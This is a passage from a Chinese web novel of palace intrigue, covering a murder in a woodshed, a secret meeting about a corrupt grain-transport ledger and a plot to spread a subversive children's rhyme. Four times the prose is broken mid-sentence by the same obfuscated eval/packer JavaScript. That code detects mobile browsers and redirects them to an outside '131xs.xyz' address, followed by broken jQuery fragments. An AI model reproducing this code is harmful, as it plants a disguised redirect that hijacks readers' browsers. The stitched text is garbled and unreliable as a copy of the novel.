张嬷嬷连忙点头：“她模样是变了不少，可我认得她左眼眼尾那颗小痣，错不了。” “那丫头当年很得夫人喜爱，夫人亲自赏了她出府的机会。老奴没有证据，也不敢乱说什么。” 见崔莞言神色不动，她心头越发发怵，急忙又补上一句：“二小姐，老奴只知道这些了。” 崔莞言终是认可似的点了点头，伸手去解绑在柱子上的麻绳。 张嬷嬷只觉浑身一松，像是从鬼门关里捡回了一条命，连忙磕头：“多谢小姐！老奴从此唯小姐马首是瞻。” 崔莞言扶她起身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981151|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，伸手替她拂开额前那缕湿发：“瞧瞧，嬷嬷如今这副模样，就这样送你走，我倒还觉得有些不好意思。” 张嬷嬷怔了怔，心里忽然生出一丝不安，小心翼翼地问：“小姐送我去哪？” 崔莞言笑意未泯，缓缓贴近她的耳边：“送你上路。” 话音刚落，她猛地抓住张嬷嬷的头发，一把将她的脑袋往墙上撞去，动作狠绝。 “砰！” 沉闷的声响在柴房里回荡，张嬷嬷惨叫一声，额头瞬间裂开血口，整个人被撞得眼前一黑，晕晕乎乎几乎说不出话来。 她以为这样就能活命吗？前世的自己，多少次因为妇人之仁，被这些下人反咬。今生，她不会再犯这样的蠢。 张嬷嬷头刚抬起，就被更狠地撞了第二下、第三下……一连数次，直到墙面都被鲜血染红，张嬷嬷眼白上翻，最后一声微弱的哼声后，彻底没了动静。 柴房里死寂一片，只剩血滴顺着墙角缓缓滑落。 崔莞言松开手，如同甩掉肮脏的破布一般，看着满墙血痕笑了。 “等着吧，很快就会有人下去陪你。” - 次日清晨，桃枝被释放、张嬷嬷撞墙而死的消息便传遍了整个国公府。 下人们私下议论，说这位二小姐看似心狠，实则还是个心软的人，竟能放过背主的奴才。 而那张嬷嬷，从前仗着夫人撑腰，欺凌弱小横行惯了，如今一死让人拍手称快。 昨日随崔莞言去柴房的小厮，多是平日受过张嬷嬷压榨的，哪怕亲眼见过她那狠绝的一面，心里也只剩下敬畏与佩服，这真相，谁都不敢说，也没人愿意说。 消息传到佛堂时，李氏正跪在观音像前诵经。 “夫人，不好了，张嬷嬷……撞死了！”来报的王嬷嬷跪在地上，吓得声音都在发抖。 李氏一惊，手里的木鱼掉在地上，“你说什么？” “昨日被关到柴房里，张嬷嬷夜里就撞墙自尽了，二小姐放过了桃枝，说不追究。” 她最信任的心腹，就这么死在那个小贱人手里！ 张嬷嬷一死，她等同于废了一臂，崔晋又看她不顺眼，接下来……怕是更加举步维艰。 李氏气得狠狠一掌拍在佛案上，可不多时，她又冷静下来，唇边扯出一抹得意的笑。 “不过一个小贱种，翻得了什么天？我李含云是皇后生母，谁敢动我？” 想到这里，她心里那点压抑的气血终于顺了些。 “进宫一趟，把昨日的事挑些禀给华儿。” - 午后阳光正好，崔莞言倚在藤椅上，青禾替她剥着一盘核仁，“小姐，您昨夜那一手，那张嬷嬷可真是……” 崔莞言转眸看了她一眼：“吓到了？” “刚开始是怕，可后来想想，她那种人活着就是祸害，被您收拾了倒也痛快。” 她抬眼偷偷看崔莞言，现在这样才像真正的国公府二小姐。 正说着，院门口急匆匆走来一个小丫鬟，行礼后抬头道：“二小姐，皇后娘娘有旨，请您即刻入宫。” 李氏的手，伸得倒快。 崔莞言眼底掠过冷意，长姐不像是非不分的人，可李氏毕竟是她的生母…… 她站起身，抬手拂了拂衣袖。 “备车，进宫。” 17. 正人君子 马车停在宫门前时，天将暮色，晚霞拖着一抹残红缓缓落幕。 崔莞言随宫女走进昭华殿，心中戒备。 李氏必然是添油加醋，将责任尽数推卸，长姐会作何反应？ 殿内烛火通明，已然备上了晚膳，金碗玉盏里热气氤氲。 崔华婷一见她便热络地拉起她的手：“免礼，时辰不早了，我想着你一路赶来，定未曾用膳，就一并在这里用了吧。” 崔莞言原以为今夜是责问，却没想到等她的是一桌和气。 “坐吧。”崔华婷亲手夹了菜放在她碗中，神色温淡从容。 崔莞言心中反倒有些不安，片刻犹豫后开口：“姐姐，昨日府中之事你可听说了？” 崔华婷放下筷子，点了点头。 母亲是什么德行，她早就看得透彻。 从前母亲盼她嫁进皇宫，是为崔家换取荣宠，如今她身居凤位，却又把她当作府中的一面护符，借着她的势压庄氏、孙氏，压所有不顺从的人。 她可曾真心关过自己的冷暖？那点母女情分，早在这些年的冷眼旁观里淡成灰。 皇后？这是她想要的吗？为了这个位置，她付出多少？被困在这高墙内度日如年，哪还有片刻自由。 “母亲那点手段我早看穿了，你不过是为了自保，这没有什么错。” 崔华婷抬眸，细细打量眼前的妹妹，她们的眉眼何其相似，仿佛是另一个自己。 昨日的事传来时，她反倒高兴，莞言并非柔弱任人欺凌的模样。 她多希望莞言不要活成自己这样。上京第一贵女又如何？命运这东西，从来由不得自己。 闻言，崔莞言彻底明白了。 长姐召她入宫并非问责，而是要让她安心。 诺大的崔家，竟只有李氏生的一双儿女对她真心，何其讽刺。 既然连长姐都懒得再顾李氏的脸面，她自然更不会心慈手软。 压下心底冷意，她换了语气问道：“姐姐最近身体如何？” “好多了。”崔华婷淡声答，“自从停了那些药，倒觉得浑身清爽些。” “那就好。”崔莞言轻轻颔首。 这一世，长姐若能养好身体，便能避开前世早逝的结局。 崔华婷端起汤盅舀了一碗莲子百合炖鸽汤，递到她面前：“尝尝这个，膳房新做的，养心安神。” 汤色浓白清润，几颗莲子煮得绵软漂浮在汤面，百合如玉瓣剔透。 她抿了一口，温热清润，入口极为顺滑，“很好喝。” 姐妹俩一边用膳，一边闲话近况。 崔华婷似是忽然想起什么，偏头看向身旁宫女：“这汤，可送去勤政殿了？” “回娘娘，已送到了，只是皇上正召见御史台的魏大人，怕是还未用。” 崔华婷听后眸光闪了闪，却只是淡淡“嗯”了一声。 魏大人？是魏恪。 崔莞言与他并不陌生。 魏恪出身封州，虽算是崔家叔伯那一支的姻亲，却家境清贫。 养她的嬷嬷去世时，叔伯嫌麻烦，丢了点碎银将她打发去魏家寄住。在魏家的那段日子她过得不错，魏恪的母亲是个宽厚的人，吃穿虽简单却干净周全。 记忆里的魏恪总是穿着洗得发白的粗布衣，身影却如青松般挺直，少年时便气度沉稳，言行端正，是封州人人称赞的才子。 国公府与他本无交情，崔家后辈不中用，崔晋想笼络外姓，于在魏恪进京赴考时资助他，甚至留他在国公府小住。 后来他一举登科，自京兆尹府小吏做起，以铁面直言和敏锐手段步步升至御史台，深得皇帝信任，却始终不肯与崔家同流合污。 这样的好人，前世多半是落不到好下场的，魏恪也一样。 “莞言？” 崔华婷的声音将她从思绪中唤回。 “本打算留你在宫中过夜，不过今夜怕是留不成了。皇上近日气色不佳，我得过去看看。” 崔莞言应了句好，“以后有的是时间陪姐姐说话。” 崔华婷点了点头，吩咐宫女：“送二小姐出宫，别误了时辰。” 崔莞言起身行礼，随宫人退了出去。 夜色笼罩皇城，御道两侧的宫灯衬得这座高墙深宫愈加幽深。 冷风一阵阵掠过，轻易就将人穿透了，连骨头都冻得发凉。 她回望那一排排灯火，真是富丽堂皇，血果然能滋润万物。 这吃人的地方，吞下了多少人的一生？ 她心里只剩一个念头，哪怕血流成河，也要替长姐撕开宫墙。 忽然，刺耳的乌鸦叫声划破夜空。 崔莞言抬眸望去，黑影自昭华殿檐上扑翅而起，穿过灯火与檐角，在高墙尽头停歇，嘶鸣了几声后振翅飞出宫墙。 待她走到宫门时，恰好看见那只乌鸦停在门外一架马车上，歪着脑袋盯着车下的人。 “去去去！真是晦气！” 马夫皱了皱眉，抡起鞭子要将它驱赶。 乌鸦却纹丝不动，反倒张开翅膀，发出一声厉叫。 马夫正要再甩鞭子，却听车旁有人道：“不必驱赶，乌鸦未必是不祥。” “古书有言，义士曾困于乱山，得乌鸦指路救人。它虽声哑，却通灵识恩，不可轻视。” 马夫愣了愣，手里的鞭子停在半空，讪讪收回。 乌鸦似乎也不再嘶叫，扑棱着翅膀振飞夜空，消失在灯火之外。 那人刚要抬脚上马车，却听背后一声轻唤。 “魏大哥？” 他转头见一少女立在夜风中，孤影垂长。 少女走近了些，眉眼间的熟悉感让他一下就认出了来人，可他反倒后退了两步，俯身一礼。 “崔二小姐。” 自魏恪入京后，崔莞言已有七年没见他了，岁月磨去了青涩，沉稳威严更盛。 从前她寄人篱下，所有人都轻视她，族亲不过把她当拖累，唯独魏恪从未直呼她的名讳，总是规矩地称她“崔二小姐”，因此还被人讥笑，说一个贫寒书生之家竟还养起了富家小姐。 可他从不辩解，只道：“她是国公府的女儿，该得这个称呼。” “早前便听说你回京了，在国公府内可还安好？”魏恪问。 “一切都好。” 魏恪点了点头，目光停留片刻，没有再多言，只拱手道：“夜深了，二小姐保重。魏某尚有公事，先告辞。” 说罢，他转身上了马车，渐渐远去。 崔莞言收回视线，也上了自家的马车，帘子垂下隔绝了夜色，将车内包裹成一方静默的世界。 她靠在软垫上，心绪却仍停在那道挺拔的身影上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004690|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前世的这个时候，魏恪刚从通州赈灾归来。 通州是漕运重地，更是鱼米之乡最是富饶，可百姓却穷得草根都要掺进米粥里。魏恪心生疑窦暗中走访，逐渐察觉似有一只看不见的手，攫取着百姓的银粮。 他顺着蛛丝马迹，查到一向有清廉之名的通州九灵县丞于志方的死因极为蹊跷。 官府说林志方贪腐畏罪自缢，可林志方的政声一直清白，更怪的是，通州官府四处缉拿其弟于志远，理由含糊不清。 一次机缘巧合，魏恪在慈幼院找到躲藏的于志远，并从他手中得到了账册，上面详列通州州牧杜延庆贪污赈灾银两、私吞漕粮的种种罪行。 皇帝得账册后震怒，将杜延庆押解入京严审。但审问中杜延庆当庭喊冤，反指账册伪造，刑部、御史台、大理寺轮番追查，最终认定账册确实被动了手脚。 杜延庆无罪释放，而魏恪却被参劾“诬陷清官”，革职流放西北，最后死在途中。 魏恪死了，通州从此洗掉了贪腐的疑窦，获利的是谁呢？ 崔晋。 若能拆掉通州这块腐肉，就等于从根上撕开崔家的皮。 马车外，夜风呼啸着卷过长街，像是要将这座府邸的气势一寸寸剥落。车刚停下，头顶的金匾发出一声脆响，“庆”字的金漆碎裂，竟掉下一角，正落在崔莞言脚边。 崔莞言抬头盯着那残缺的匾额，烂着吧，烂了才更顺眼。 夜深了，国公府内难得一片祥和。 崔莞言穿过回廊，远远便见崔时垂头走来。 他与谢清菱的婚期定在下月十五，现下悔恨不及，整日哭丧着脸，看到崔莞言走来，他勉强展了展笑颜。 “妹妹这是进宫了？” 崔莞言点头。 看她面色淡淡，崔时叹气道：“长姐训斥几句罢了，不必放在心上，李……母亲向来是这样的，一点小事便要告到宫里去。” “莞言明白，二哥这是要去哪？” “姨娘身体欠佳，我去看看。”崔时说罢，转身朝庄氏的院子走去。 庄氏这时正卧在榻上，脸色憔悴，听完大丫鬟的话，她怒从心起，愤而起身将桌上的瓷杯尽数摔了出去。 “我就知道是李含云那个贱人，把时儿的事传得人尽皆知！” 大丫鬟吓得缩了缩脖子，劝道：“主子宽心，夫人她自己也在二小姐那吃了亏，这不还得在佛堂跪上半年呢。” “母亲。”崔时进来看见满地碎瓷，快步走到庄氏身边，“怎的气成这样？身子还没好透，怎么能发这么大火？” 庄氏见到儿子，眼泪刷地涌了出来，抓住他的手：“时儿，李含云那个贱妇整日巴不得你出丑，你可得小心她。” “那事是她做的？” 大丫鬟连连点头，“就是夫人，我听桃枝说的不会有假。” 桃枝不就是李氏派去盯着莞言的那个丫鬟？听说前两日在正厅反咬主子，莞言竟还好心放过她了。 崔时想了想，她是李氏心腹，说的话的确可信。 庄氏一听却突然笑了，“难怪……” “母亲什么意思？”崔时不解道。 “难怪桃枝还能活着，原来还有这样的使命。不过我猜她活不久了。” 那丫头果然有颗七窍玲珑心，这桃枝，她不可能留下。 18. 局中之局 这一夜，崔莞言辗转难眠。 桃枝还未处理，张嬷嬷死前所说的话仍未查证，偏通州一案也箭在弦上…… 思来想去，桃枝的命她随手可取，暂留她多活两天，西街那边，庄氏不像是会给自己留后患的，那女人在事发后请求出府，想必知道庄氏要杀她。 隐姓埋名多年再出现，若贸然找上她，怕是不会承认身份，倒不如让庄氏出手逼她一把。 至于魏恪，她须得提醒他。 思绪翻涌不休，天色已由浓黑渐褪，露出一线苍白。 很快桃枝和柳枝便端着铜盆进来。 桃枝一见她，就像撞见鬼一般，浑身僵着，端水的手抖得厉害，连瓷盅里的水都溢了出来。她连忙跪下，额头抵地，声音哆嗦：“二小姐恕罪，奴婢……奴婢不是故意的。” 柳枝在一旁不敢多话，只是悄悄替她接过盅子，端得稳稳当当。自从调去南院，她虽然还是胆小，却学得细心利落了许多，不敢有丝毫懈怠。 崔莞言看着桃枝那副瑟缩的模样，连眼神都懒得落在她身上，只吩咐道：“待会儿去西街雁南巷的茶铺，买些点心送到姨娘们的院子，还有佛堂那边。记得告诉她们，这些茶点是那西街茶铺的老板娘亲手做的，她左眼角有颗痣，别说错了。” 桃枝吓得连连点头：“奴婢记下了，绝不会出错。” “去吧。” 桃枝手脚发软地退了出去，几乎是小跑着出了院门。 柳枝见状，也悄悄低头作势要退，脚刚抬起，就听崔莞言开口：“你留一下。” 柳枝背脊立刻绷直了，怯怯回身：“二小姐，您还有什么吩咐？” “一会儿你去一趟魏府，传话给魏恪，就说我在棠湘楼等他，告诉他，是为通州一案，并非私事。” 柳枝愣了愣，忍不住小声问：“小姐，魏大人他要是执意不见呢？” “那我就在棠湘楼等到他肯见为止。” 崔莞言笃定魏恪会来，因为她清楚，前世魏恪宁死，也要坚守公道，比自己还倔，绝不会放过任何有用的线索。 柳枝不敢再多问，忙应下，一走出门便换了副面色，原本怯弱的眼神瞬间变得凌厉。 心想王爷让她盯紧二小姐，可这位二小姐根本不是被动之人，而是随时能把棋局翻盘的人，竟将手伸到通州案去了。 午间时分，柳枝沿着小巷走到魏府门前。 魏府的门面比寻常富户还要冷清，朱漆剥落，铜环上也无常年的油彩痕迹。 跨进门槛，院中只有几棵老树，枝干虬曲，落叶扫得干干净净，墙角连个多余的摆设都没有。正厅陈设更是简陋，不过一几两椅，几案上只有一盏清茶，墙上悬着的字画也已褪色。 柳枝环顾一圈，心里更确定魏恪的清名并非虚名。 这样的府邸，与国公府的富丽堂皇简直是云泥之别。 才想着，廊下脚步声传来。 魏恪着一身素色直裰走了出来，面容清峻。 柳枝上前福了福身，“魏大人，我家二小姐请您今日在棠湘楼一见。” “崔二小姐？” “二小姐有要事相商，是关于通州漕运一案。” 听到“通州”二字，魏恪眉头紧锁，通州一案关乎国计民生，她一个内宅女眷，如何插得上手？况且男女有别，私下相见不合礼数，传出去怕是要坏了她的名声。 “告诉你家小姐，就说魏某不便去。” 桃枝却道：“小姐说，若您不去棠湘楼一见，她就会在楼中等到夜尽天明。” 魏恪听后想，莞言她从来不是胡闹的人，通州案如今水深火热，稍有差池便是身败名裂。她不会无缘无故冒此风险，除非真有要紧的线索。 她身在国公府，或许能看到旁人看不到的东西。 沉默良久他道：“她既如此执拗，你回去告诉她，魏某会到。” 出了魏府，柳枝走进小巷，见四下无人，她脚尖点地身形如燕掠起，几个起落，已翻过一堵低矮的院墙。 不到片刻，她已穿过几条街巷，落在周王府后门的暗影中，不敢耽搁，立刻快步向书房而去。 书房内，褚元唐正翻看案上的书信。 “王爷。” 柳枝从外头疾步而入，低头跪下，“二小姐方才让我去请魏大人，要同他说通州案的事。” 褚元唐手中的笔顿住，忽而抬眸。 魏恪。 崔莞言果然会去救他。那两人相识多年，魏恪在封州时与她有旧，她如今出手，也算合情合理。 可不知为什么，心里像被什么东西搅了一下，不安稳。 “王爷，要不要属下盯着她？”柳枝小心问。 “去。” 柳枝应了声是，转身要退。 可褚元唐忽而又放下朱笔，站起身。“算了，我与你一同去。” 他想看看，崔莞言能为魏恪做到什么地步。 柳枝低头跟在褚元唐身后，心里却忍不住嘀咕。 周王向来冷淡寡情，府中人事无一能牵动他的神色，可唯独到了崔二小姐的事，他似乎总要亲自过问。 她不敢明说，却难免惊讶，不过闺阁小姐，怎会让王爷这般上心？ 柳枝想到崔莞言那双清冷的眼，心底又有些服气。 那女子看似柔弱，却能在国公府的局里搅得翻天，也许正因如此，连王爷也生了几分耐心。 她总觉得，看这二人都像雾里看花，一个冷漠如冰、心思深不见底，一个柔弱外壳下藏着锋芒，谁也看不透谁。 可偏偏，他们都在下着不肯明说的棋。 - 棠湘楼厢房。 崔莞言静坐在临窗的位置，手中茶盏里的水早已凉透，街上的叫卖声、车马声此起彼伏，却都无法掀起她半点情绪波澜。 青禾在旁问道：“小姐，魏大人真的会来吗？” “他会来的。”崔莞言抬手拢了拢鬓发，随意看向窗外。 这一眼，却发现隔壁厢房的窗子不知何时已经合上了，先前她上楼时，那扇窗还敞着。 就在此时，楼下忽有脚步声停在门口，紧接着是小二恭敬的招呼声。 青禾往窗外探了一眼道：“小姐，魏大人真的来了。” 与那些出入青楼酒肆的权贵子弟不同，魏恪一袭青色长衫，鞋履虽旧却整洁如新，举止端方。 他在门口停了停，先她拱手一礼：“不知崔二小姐唤魏某前来，有何事相商？” 青禾忙要起身相迎，却被崔莞言抬手拦住。 “魏哥哥，请坐。”她淡淡开口。 魏恪目光并不看向她，甚至连落座的位置也刻意挑了离她最远的那一方。 “我与二小姐虽是旧识，可此地毕竟在上京，流言蜚语最是难防。魏某不怕这些闲言碎语，只是于小姐的名声不好，还是称我魏大人吧，这样妥当些。” 崔莞言点了点头。 在这世上，多少人巴不得她失了体面，好将她踩在脚下，也只有魏恪从始至终清正如风。 她抿唇一笑：“魏大人还是同从前一样，连一句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16014040|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 称呼都仔细得令人挑不出错。” “礼数是做人立身之本，我不过循旧规行事罢了。” 他坐得端正，背脊挺直，连这一席普通的木椅，也能坐出正堂威仪。 “通州的事你知道多少？” 崔莞言压低了声音：“魏大人，昨日那本账册，你已呈给皇上了吧？” 魏恪一怔，眼底剧烈震动。消息未曾走漏，连御史台的同僚都不知，她怎会知道？ “魏大人莫忘，我是崔家出来的人，府中风吹草动，我总比旁人更能嗅到味道。那账册，不是你以为的真证，而是一个圈套。” 魏恪眉头深锁，“此话何意？” “你想想，事情瞒得如此严实，连御史台都未走漏半点风声，崔家又怎会提前有所准备？除非……这从一开始，就是崔家布下的一盘棋。” “那账册是我亲自查证过，绝无虚假。”魏恪言之凿凿。 “每一条每一处都查验无误吗？若有一处对不上，杜延庆就可借机反咬你。” “魏大人，你一向正直，可正直并非不会被利用，你查得越深，反而越容易被这局吞下。”崔莞言冷静道。 魏恪的脸色沉了下去。 他不是不知崔家在通州势力盘根错节，庆国公在朝中日渐跋扈一手遮天，为此，陛下心力交瘁，多次令御史台盯防通州往来之事，若能撕开崔家那层金玉外皮，也算是为陛下分忧，为百姓伸冤。 在慈幼院寻到那本账册、又得见于志远时，他心中一度喜不自胜，以为此番必断掉崔晋臂膀。 可他的确太急了…… “魏大人，你既明白我父亲的手段，就该想想，他如何会容许真账落到你手里？你眼前的那一本，怕不过是他亲手送来的假刀，等着你替他挥出去。” 魏恪心里涌出一股寒意，终于直视眼前的少女，明明只是十七岁的年纪，那眼神里透出的坚定，偏让他更信了几分。 “崔家有难必定牵连你，你何必……” 话未说完就被崔莞言打断。 “我从前过的是什么日子，你是知道的。” 魏恪当然记得那个年纪尚小、被送去封州寄人篱下的姑娘，日日忍着冷眼与轻贱，只有他母亲会替她缝一件合身的衣裳、在冬天给她添一口热饭。 崔家的女儿，本应在锦罗玉帐中被护得无忧，崔晋偏听信谗言将她冷落在外，她恨也是应当。 为父不慈、为官不清、为臣不忠……崔晋，你当真罪该万死。 “崔二小姐，你或许还不知，圣旨已下，押杜延庆进京的诏命已经传出。此案是皇上亲审，我哪怕察觉账册有异，也无力挽回，再提出异议，反倒会被视作扰乱圣断。” 崔莞言抬眸，似笑非笑地斟了一盏茶推到魏恪面前。 “杜延庆不进京，崔家势力必然将一切掩得死死的。只有押他回京，我父亲才要亲自下场，那时局中每一步都能逼出破绽。” 魏恪思忖半晌才道：“可这赌得太狠了，走错一步，连你也会被牵连。” “我本就在局中，牵连又算什么？” 崔莞言自顾自笑起来，可落在魏恪眼里，只觉得她是被逼上绝路的无奈之人。 这样的胆识与决心，若能置于庙堂之上，只怕丝毫不逊于他。 “崔二小姐，你所言，魏某信了。” “那就好，你只需先去细查帐本，等杜延庆进京，一切才真正开始。” 看着魏恪离去，崔莞言才真正绽开了笑颜。 此时一墙之隔的那人，也笑了。 19. 断命童谣 暗卫的耳力极佳，隔壁厢房每一句对话，柳枝都听得清清楚楚，转述时一字不差。 听后，褚元唐只是笑了，可那笑里却藏了太多难明的意味。 如果陷入这局的人是他，崔莞言也会为他这般谋划吗？ 应是不会。 她的冷静与算计，本应叫他安心，如今却偏让他心底生出说不清的躁意。 收敛了笑意，他起身欲走。 柳枝仍贴着墙，低声提醒道：“王爷，又有人来了。” 墙那头，木门被推开的声响清晰传来，合上之后，竟沉默了许久。 进门的人不慌不忙地揭开斗笠、拿掉面纱， 露出的脸比从前更圆了几分，脸上多了些油光红润，显然日子过得极为滋润。 “小姐找我有何要事？”白眉弯腰一礼，态度仍极为恭敬。 “白先生这阵子倒是越发丰润了。”崔莞言请他入座，替他倒了一杯茶。 自从白眉见识过眼前这位崔小姐的手段和“通天”的本领后，早就佩服得五体投地。 他捏了捏自己圆了一圈的脸，笑得无甚羞愧：“托小姐的福，也吃了点富贵油水。” 崔莞言扫了他一眼，只觉得他虽是市井小民，却有股混不吝的直爽劲儿，素来只认银子与义气，做事痛快从不藏着掖着，行迹虽杂却比那些高门权贵坦荡得多。 “我有一件事要交给你去做，只是做了这件事，你怕是会惹上麻烦，甚至会有性命之忧，你可愿意？” 她原以为白眉会犹豫，却不料他几乎想都没想便点了点头。 “混江湖哪有不冒险的？小姐尽管说。” “这话一旦散开，可能会有人顺藤摸到你头上。” 白眉两手抱拳，神情没半点退意：“小姐救过我一次，白某要是连这点胆子都没，白混到这岁数不如早些死街头。” 崔莞言满意地点头：“我要你在城中散一首童谣，字句要记牢，不许添头减尾。” “一船银，写双账，一本真，一本谎。赤印郎，漕舟上，银没了，命也丧。高门笑，夜心凉，断竹篙，杜家亡。” 白眉反复念了两遍，眯着眼琢磨：“这话一听就不太安生。” “怕了？”崔莞言问。 白眉立刻摆手：“怕？不过是几句顺口溜，白某散得出去。只是小姐……这话出去定会掀起风浪。” “风浪越大，越能把那些装神弄鬼的人拖出来。你只管照做，剩下的有我。西街热闹，就从那开始。” 白眉心中一震，顿觉这位看似弱不禁风的二小姐，比那些堂上拍板的大老爷们还要冷厉果决。 “好！白某这就去。”他重重拍了拍自己发福的肚子。 话锋一转，他突然神色认真地朝崔莞言鞠了一躬。 “我这人虽会些街头把戏，可见了小姐才晓得，世间真有人能窥天机。白某想起自己当年拜入师门，却不好好学艺，如今心里悔得慌，若当初学得半分用心，兴许现在也能真做个天师。” 崔莞言挑了挑眉：“怎的，难道你还想重新去修道？” “是啊，小姐。”白眉苦笑了一下，眼神却出奇地坚定，“这回传完你要的童谣，我就回昭州山里闭门苦修，江湖路子再热闹，也比不上修炼个安稳心。” 崔莞言点头道：“好，你既有此心，我到时会派人护你。” “小姐保重，他日若我有点真能耐，再回来替小姐说上一卦。” 崔莞言看着他的背影消失在楼外的人群中，抿了口凉茶，唇边冷意乍现。 人言可畏，从古至今，再铁血的帝王、再尊贵的王侯将相，也难全然不顾众口铄金。百姓口中的一句闲话，若传得久了、广了，便能化作刀锋直指心腹。 民心如水，可载舟，亦可覆舟。 她要做的，就是亲手搅动这一池死水，让那位自诩稳坐朝堂的国公，尝尝被浪潮吞没的滋味。 她将茶盏放回桌案，清脆一声，在沉静中格外清晰，落在墙的另一边，震得柳枝心头骤紧，远离了墙面。 “赤印郎，漕舟上，银没了，命也丧。”褚元唐低声重复。 这样的童谣，落在市井茶肆，足够使人茶余饭后猜上半日。 赤印郎？他记得杜延庆的独子杜绍成手臂上天生有红色胎记。 他的确该死了，一死便能成全整个局的开端。 杜延庆再沉稳，失子之痛也足以动摇心神，而杜家与崔晋之间那层遮掩的权势利益，也终将裂出缝隙。 她竟敢用这样的法子去扰局？ 胆大。 也确实聪明。比他想象得，更狠更沉得住气。 可他忽然不知，是该庆幸她此刻站在自己这一边，还是该防着某一天，她也将这把刀锋，转向自己。 那杜绍成，她会怎么杀？ 罢了，替她出手。 “传令下去，让暗卫尽数往通州去赶去通州，杀杜绍成。” 柳枝应了是，听到下楼声，便也行了礼悄然跟着离开。 - 马车驶离棠湘楼。 街角巷陌热闹非常，只有车厢内气氛沉沉。 青禾垂着眼，迟疑片刻还是开口：“小姐，那首童谣……真要让白眉去散播吗？可它不过是几句顺口溜，真的有用？” 崔莞言靠坐着，未出声。 青禾又道：“它连名都没点明，旁人未必能听懂其中之意……” “旁人不需要听懂，只要杜延庆听懂，就够了。” “有时候明刀明枪未必管用，最难防的，是言语流布、风声乍起。” 青禾眼中露出惊惧：“可若真追查到了小姐身上……” 她曾听说过小姐与魏大人是封州的旧识，此番定是要助魏大人一臂之力的，可她还是担心小姐的安危。 “有人会比我更快动手。” “小姐说的是谁？” 崔莞言并未明说，只道：“我手里没兵没权，孤身在局中，想活下去只能借势。身边能用的每一枚子，我都不会放过。” 青禾从前只觉得小姐命苦，如今却第一次觉得，她不该叫人可怜，只该叫人敬畏。 她低下头，忽觉跟着这样的主子，自己脚下也站得更稳了些。 马车停在国公府大门前，二人一眼便见柳枝脚步匆匆得赶回来，跑得满头大汗。 “柳枝你这是去哪儿了？”青禾问。 “我见小姐喜欢梨花糕，便又去买来了。”柳枝怯声答。 “倒是有心了。”崔莞言似笑非笑地看了她一眼，未多言，径自转身往南院去。 进了屋，她吩咐人烹了壶新茶，又让青禾和柳枝一同坐下用点心。 柳枝坐得拘谨，小心翼翼，只用手指捻起最边角一块，反倒是青禾已熟稔了，当即咬了一口，笑道：“这梨花糕的味儿，和咱们府里吃的不一样啊，哪家买的？” “东街……一家老铺子。若小姐喜欢，明儿我再去买。” 老铺子？哪家老铺子能做出周王府的味道？ 崔莞言心里暗笑，周王府那婆子喜甜，在做时掺了写桂花蜜，没想到做出了与众不同的味道。 她第一次吃，便记下了。 再尝到这熟悉的滋味，又怎么会认不出？不过是有人特意讨她欢心罢了。 重活一世，竟这般有心，血海里咽气时，可是后悔了？ 她冷哼一声。 柳枝看着瘦弱，但步子轻、走路稳，定是练过功夫的。 送上门来的棋子，她自然会好好用。 主仆几人正喝着茶，桃枝拎着空食盒回来了。 “小姐，点心都送到了。” “她们什么反应？” 桃枝小心答道：“庄姨娘没说什么，脸色也没什么变化，只让人收了进去……但夫人那边……” “可是骂我了？” “夫人一看见食盒，脸就黑了，当场把点心掀翻，还骂说‘以为送点破玩意儿就能讨好我’……还咒骂您是个不安分的……” 余下那几句，桃枝实在说不出口。 崔莞言听罢只是淡淡笑了。 庄氏还真是沉得住气，比李氏聪明多了。 她饮了一口茶，杯中茶水泛出的白雾将她的思绪卷了进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026791|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去，仿佛隔着重重庭墙，也能听见西街上的喧闹。 西街雁南巷街面虽不宽，却人头攒动，茶铺门前的方桌上坐着几个茶客，里头一个妇人正不慌不忙地往盏中注水，一边烹茶一边招呼客人：“三位的桂花糕好了，稍等片刻，热茶就上。” 门外有两人挑着担子吆喝，几个孩子围着小摊跑来跑去，吵闹声夹着笑语。 “老板娘，来一壶茶，一盘豆酥。” 